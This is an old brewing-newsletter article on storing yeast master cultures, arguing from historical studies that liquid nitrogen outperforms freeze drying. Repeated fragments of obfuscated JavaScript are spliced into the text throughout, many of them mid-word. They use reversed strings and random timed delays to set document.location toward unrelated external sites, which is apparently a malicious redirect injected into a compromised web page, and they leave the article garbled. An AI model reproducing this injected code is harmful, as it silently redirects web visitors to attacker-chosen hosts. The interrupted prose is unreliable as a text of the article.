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I have a lot of affection for BRI (aka Brewing Research International). I’m part of a small group of folk who have worked at Nutfield on two occasions – as far as I know nobody has managed three stints! My first appearance in the early 1970’s – at what was then BIRF (a snappy acronym for the ‘Brewing Industry Research Foundation’) – was characterised by black doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and white phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tographs of surprisingly well dressed people. In my case, a jacket, trousers doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and tie was the everyday dress code, as was dark luxuriant hair doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a 32 inch waist – oh halcyon days! This was the time when ‘best practice’ was that precious production yeast strains were freeze dried prior dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torage in the National Collection of Yeast Cultures (NCYC) held at that time at BIRF.
Well, of course the world moves on. BIRF has become BRI, the NCYC has moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to the Institute of Food Research in Norwich, my waist measurement doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and hair colour have become a source of disappointment (!) doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and freeze drying of sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tock cultures of yeast strains has been replaced by ‘liquid nitrogen’ as ‘best practice’ for yeast supply.
Keen readers will recognise ‘liquid nitrogen’ as having a good press in YeastBytes. Having featured in our first issue (‘why yeast supply matters’), second issue (‘cryopreservation – stayin’ alive’) doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and no.3 (‘the challenge of zero defects’). So no surprises dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to find it here doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to repeat its glowing school report by describing it (once more) as the creme de la creme of living cell preservation. Quite simply – performed correctly, viability doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and genetic stability are not compromised by sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torage in liquid nitrogen. As noted elswhere in YeastBytes no.4, indeed the bees’ knees!
Freeze drying or lyophilisation of brewing yeast master cultures is now accepted by most as bad news. The evidence is not new. Barbara Kirsop at BIRF/BRI showed in 1955 (yes – really, more than 50 years ago) that the average viability for 29 strains of S. cerevisiae was a mere 4.3% two days after drying. On revisiting the work in 1991 she warmed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to her theme in demonstrating that the average viability for freeze dried cultures of the genus Saccharomyces at the NCYC was 5%. Further in 1981, the redoubtable pairing of Inge Russell doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Graham Stewart showed that freeze drying killed five of the eleven brewing strains they studied. Of those that survived, some exhibited changes in flocculence doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and increased frequency of the midom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tochondrial (‘petite’) mutation. If this is not enough, a more recent(ish) report in 1996 showed chromosomal breaks in yeast ex freeze drying.
So, as they first said in the mid 1800’s, “you pays your money doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and takes your choice”. If I was you doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and I wanted a consistent, robust yeast supply process I wouldn’t let master cultures of freeze dried yeast anywhere near my brewery. I would opt for my yeast dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to be sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tored in (doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and supplied from) liquid nitrogen every time. Not, you’ll understdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and, that I’m biased!
First published 11 September 2007 in YeastBytes
